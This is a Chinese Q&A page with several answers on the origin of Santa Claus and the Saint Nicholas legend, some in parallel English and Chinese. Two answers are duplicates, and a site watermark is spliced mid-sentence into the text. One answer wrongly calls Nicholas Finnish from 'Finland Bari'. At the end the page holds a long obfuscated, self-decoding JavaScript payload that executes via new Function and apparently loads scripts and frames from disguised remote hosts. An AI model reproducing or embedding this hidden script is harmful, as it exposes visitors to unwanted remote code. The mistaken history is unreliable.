圣诞老人简介附英文版

2025-02-11 21:39:16
推荐回答(5个)
回答1:

The origin of Santa Claus

History tells usthat the origin of Santa Claus begins in the 4th century with Saint Nicholas,Bishop of Myra (an area in present day Turkey). One of the legends tellsabout that he acquired a fortune when his parents died while he was still in histeens. By nature St.Nicholas was a generous and honest man, particularlydevoted to children. He also cared deeply for the poor. He brought variousgifts, money and other useful items to the houses of the poor. He did this atnight, and in secrecy, so that no one knew, as he wanted no glory, he justwanted to help people. He became widely known for his generosity.

据史料记载,圣诞老人的原型是公元4世纪的圣尼古拉斯,他是米拉(位于今土耳其境内)的主教。有一种传说认为在他十多岁的时候父母双亡,给他留下一大笔财产。圣尼古拉生来就是个慷慨正直的人,尤其喜爱孩子,还很关心穷苦人,给穷人家里送去各种礼物、钱以及其他有用的物品。他一般都是在夜里秘密地做这些事,这样就没人知道,因为他并不想获得什么赞颂,只是想帮助别人。很快,他就因自己的慷慨而广为人知。

There is one famous legend about SaintNicholas. The story tells of Nicholas hearing one day of three beautifulsisters who lived in a miserable hut on the edge of Myra. The three sisters were very poor. Theycould barely earn enough to keep themselves and their old mother from starvingto death. When Nicholas heard of their plight, he was very concerned. Hedecided to do something to help them.

有一个关于圣尼古拉斯的著名传说,讲的是有一天,尼古拉斯三联阅读3lian.com/zl/转载请保留听说在米拉镇边界上一所简陋的小屋里住着美丽的三姐妹。她们非常穷,赚钱很少,几乎难以保证自己和老母亲不被饿死。尼古拉听说了三姐妹的悲惨境况后非常担忧,决定帮助她们。

One night, when everyone was asleep, Nicholascrept through the streets to the edge of town. Quietly, he tiptoed up to thehut where the three sisters lived. He climbed onto the roof and dropped threebags of gold through the hole in the roof where the smoke from the fire cameout. Now it so happened that the three sisters has washed their stockingsbefore they went to bed. The stockings has been hung by the fire to dry. WhenNicholas dropped the gold through the smoke hole, each bag of gold fell into astocking.

一天夜里,当大家都入睡后,尼古拉斯蹑手蹑脚地穿街走巷,来到了小镇边界。他悄悄地踮起脚走到三姐妹住的小屋旁,爬上屋顶,把三袋金子顺着房顶炉火冒烟的洞口扔了下去。而三姐妹上床前恰巧刚洗完自己的长袜,把它们挂在炉火旁烘干。就在尼古拉斯把金子透过烟囱扔下去时,每袋金子分别落入了一只袜子中。

The three sisters were overjoyed to findthree bags of gold in their stockings when they woke up the next morning. Soon,the story began to spread. Other people began to hang up stockings in the hopeof finding bags of gold when they woke up in the morning. From this legendsprang the custom of hanging stockings up by the chimney on Christmas Eve. Overthe years, Saint Nicholas became associated with Christmas.

第二天一早,三姐妹醒来,发现她们的长袜里竟然有三袋金子,她们欣喜若狂。很快,这个故事便流传开来。其他人也开始把袜子挂起来,希望第二天早上醒来也能发现一袋袋的金子。圣诞夜那天把袜子挂在烟囱旁的习俗就是由这个传说而来。多年来,人们就把圣尼古拉斯与圣诞节联系在了一起。

After his death around 350 A.D. he was buried in Myra,but in 1087 Italian sailors purportedly stole his remains and removed them to Bari, Italy,greatly increasing St. Nicholas' popularity throughout Europe.His kindness and reputation for generosity and love for children gave rise toclaims that he could perform miracles and devotion to him increased. St.Nicholas became the patron saint of Russia, where he was famous for hisred cape, flowing white beard, and bishop's mitre. In Greece, he is the patron saint of sailors; in France he was the patron of lawyers, and in Belgium thepatron of children and travelers. The Dutch kept the legend of St. Nicholasalive. In 16th century Holland,Dutch children would place their wooden shoes by the hearth in hopes that theywould be filled with a treat and goodies.

尼古拉斯在约公元350年去世后,被葬于米拉;但据称在1087年,意大利水手们偷走了他的遗骨,转运到了意大利的(东南部港市)巴里,从而大大提升了尼古拉斯在整个欧洲的知名度。他的善良、慷慨以及对孩子的喜爱都让人们认为他会施魔法,人们更加热爱他了。尼古拉斯成了俄罗斯人的守护神,在那里,他以身披红斗篷,留着飘逸的白胡须,戴着主教法冠而闻名。在希腊,他是水手的守护神;在法国,他是律师的庇佑人;在比利时他则是孩子和旅行者的保护神。荷兰人一直都传颂着圣尼古拉的传说。在16世纪的荷兰,孩子们会把他们的木鞋放在壁炉边,希望里面会装满礼物和糖果。

回答2:

The origin of Santa Claus

History tells usthat the origin of Santa Claus begins in the 4th century with Saint Nicholas,Bishop of Myra (an area in present day Turkey). One of the legends tellsabout that he acquired a fortune when his parents died while he was still in histeens. By nature St.Nicholas was a generous and honest man, particularlydevoted to children. He also cared deeply for the poor. He brought variousgifts, money and other useful items to the houses of the poor. He did this atnight, and in secrecy, so that no one knew, as he wanted no glory, he justwanted to help people. He became widely known for his generosity.

据史料记载,圣诞老人的原型是公元4世纪的圣尼古拉斯,他是米拉(位于今土耳其境内)的主教。有一种传说认为在他十多岁的时候父母双亡,给他留下一大笔财产。圣尼古拉生来就是个慷慨正直的人,尤其喜爱孩子,还很关心穷苦人,给穷人家里送去各种礼物、钱以及其他有用的物品。他一般都是在夜里秘密地做这些事,这样就没人知道,因为他并不想获得什么赞颂,只是想帮助别人。很快,他就因自己的慷慨而广为人知。

There is one famous legend about SaintNicholas. The story tells of Nicholas hearing one day of three beautifulsisters who lived in a miserable hut on the edge of Myra. The three sisters were very poor. Theycould barely earn enough to keep themselves and their old mother from starvingto death. When Nicholas heard of their plight, he was very concerned. Hedecided to do something to help them.

有一个关于圣尼古拉斯的著名传说,讲的是有一天,尼古拉斯三联阅读3lian.com/zl/转载请保留听说在米拉镇边界上一所简陋的小屋里住着美丽的三姐妹。她们非常穷,赚钱很少,几乎难以保证自己和老母亲不被饿死。尼古拉听说了三姐妹的悲惨境况后非常担忧,决定帮助她们。

One night, when everyone was asleep, Nicholascrept through the streets to the edge of town. Quietly, he tiptoed up to thehut where the three sisters lived. He climbed onto the roof and dropped threebags of gold through the hole in the roof where the smoke from the fire cameout. Now it so happened that the three sisters has washed their stockingsbefore they went to bed. The stockings has been hung by the fire to dry. WhenNicholas dropped the gold through the smoke hole, each bag of gold fell into astocking.

一天夜里,当大家都入睡后,尼古拉斯蹑手蹑脚地穿街走巷,来到了小镇边界。他悄悄地踮起脚走到三姐妹住的小屋旁,爬上屋顶,把三袋金子顺着房顶炉火冒烟的洞口扔了下去。而三姐妹上床前恰巧刚洗完自己的长袜,把它们挂在炉火旁烘干。就在尼古拉斯把金子透过烟囱扔下去时,每袋金子分别落入了一只袜子中。

The three sisters were overjoyed to findthree bags of gold in their stockings when they woke up the next morning. Soon,the story began to spread. Other people began to hang up stockings in the hopeof finding bags of gold when they woke up in the morning. From this legendsprang the custom of hanging stockings up by the chimney on Christmas Eve. Overthe years, Saint Nicholas became associated with Christmas.

第二天一早,三姐妹醒来,发现她们的长袜里竟然有三袋金子,她们欣喜若狂。很快,这个故事便流传开来。其他人也开始把袜子挂起来,希望第二天早上醒来也能发现一袋袋的金子。圣诞夜那天把袜子挂在烟囱旁的习俗就是由这个传说而来。多年来,人们就把圣尼古拉斯与圣诞节联系在了一起。

After his death around 350 A.D. he was buried in Myra,but in 1087 Italian sailors purportedly stole his remains and removed them to Bari, Italy,greatly increasing St. Nicholas' popularity throughout Europe.His kindness and reputation for generosity and love for children gave rise toclaims that he could perform miracles and devotion to him increased. St.Nicholas became the patron saint of Russia, where he was famous for hisred cape, flowing white beard, and bishop's mitre. In Greece, he is the patron saint of sailors; in France he was the patron of lawyers, and in Belgium thepatron of children and travelers. The Dutch kept the legend of St. Nicholasalive. In 16th century Holland,Dutch children would place their wooden shoes by the hearth in hopes that theywould be filled with a treat and goodies.

尼古拉斯在约公元350年去世后,被葬于米拉;但据称在1087年,意大利水手们偷走了他的遗骨,转运到了意大利的(东南部港市)巴里,从而大大提升了尼古拉斯在整个欧洲的知名度。他的善良、慷慨以及对孩子的喜爱都让人们认为他会施魔法,人们更加热爱他了。尼古拉斯成了俄罗斯人的守护神,在那里,他以身披红斗篷,留着飘逸的白胡须,戴着主教法冠而闻名。在希腊,他是水手的守护神;在法国,他是律师的庇佑人;在比利时他则是孩子和旅行者的保护神。荷兰人一直都传颂着圣尼古拉的传说。在16世纪的荷兰,孩子们会把他们的木鞋放在壁炉边,希望里面会装满礼物和糖果。

回答3:

圣诞老人(Santa Claus)是圣诞节的象征,源于欧洲民间传说,各国叫法和解释略有不同。传说每到12月24日晚上,神秘的圣诞老人会驾乘由驯鹿拉的雪橇从北方而来,挨家挨户地从烟囱进入屋里,然后偷偷把礼物放在好孩子床头的袜子里,或者堆在壁炉旁的圣诞树下。虽然没有人真的见过这个神秘人的样子,但人们通常认为他头戴红色圣诞帽子,大大的白色胡子,身穿红色棉衣,脚穿红色靴子,因为总在圣诞节前夜出现派发礼物,所以习惯地称他为“圣诞老人”。
Santa Claus is a symbol of Christmas, originated from the European folklore, the called by countries and explain slightly different. According to the legend, on the night of December 24, The mystery Santa would ride by the sleigh pulled by reindeer and coming from the north, door to door from the chimney into the house, and then secretly put the present on their children bed of the socks, or pile in front of the fireplace under the Christmas tree. Although no one has ever really seen this mysterious person, But people usually thinks he's wearing a red Christmas hat, large white beard, dressed in red cotton-padded jacket, wearing red boots, because always appear distributing gifts on Christmas Eve, so used to call him "Santa Claus".

回答4:

Father Christmas- -圣诞老人

It is said that in the year of 300 AD, there was a kind old man and his name was Saint Nicholas. He was always ready to help the poor and often gave presents to them.

Today, Father Christmas is an imaginary figure, but nearly all young children believe in him. They think he is a happy old man with a long white beard and a long red robe.

On the night of the twenty-fourth of December every year, Father Christmas from some cold northern land comes down the chimney of the fireplace to put presents by the beds of children or to fill their stockings. So when children go to bed that night, they hang up their stockings, and on Christmas morning they wake to find them full of presents. Of course, it's really their parents who fill the stockings.

Another name for Father Christmas is Santa Claus.

相传在一千六百多年前,芬兰巴里地方有一个老人,名叫尼古拉斯,他一生最爱帮助贫穷的人家。其中有一次他帮助三个贫穷的少女,送她们三袋金子以逃过被卖的不幸。
到了1822年,由芬兰传教士把这位伟大的慈善家的故事传到美国,扮圣诞老人渐渐地流行于世界各国。
据说,当尼古拉斯偷偷地把其中一袋金子送给其中一名女子时,他把金子从其中一个窗户扔进去,恰好掉进晾在壁炉上的一只长袜中。于是,将礼物放在圣诞袜的送礼方法便传到现在。
在平安夜里,孩子总会把一条条色彩缤纷的袜子挂在床头,然后在袜子旁边放杯热牛奶让圣诞老人喝,以让劳苦功高的圣诞老人解渴,并送份大礼给自己。

回答5:

传说他扮成圣童把坚果和苹果放在孩子们鞋里。他乘双轮马车四处漫游,观察人们的行为,尤其是小孩,如果表现好,将会得到苹果、坚果、糖等诸多奖品。坏孩子则得一鞭子。家长们灵机一动纷纷采用此传说来鼓励孩子们听话。大大超过了新年,成为一个全民的节日。圣诞老人已经成为圣诞节最受喜爱的象征和传统。他赶 着驯鹿,拉着装满玩具和礼物的雪橇挨家挨户给每个孩子送礼物的快乐老精灵的形象已深深地留在人们的记忆中。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();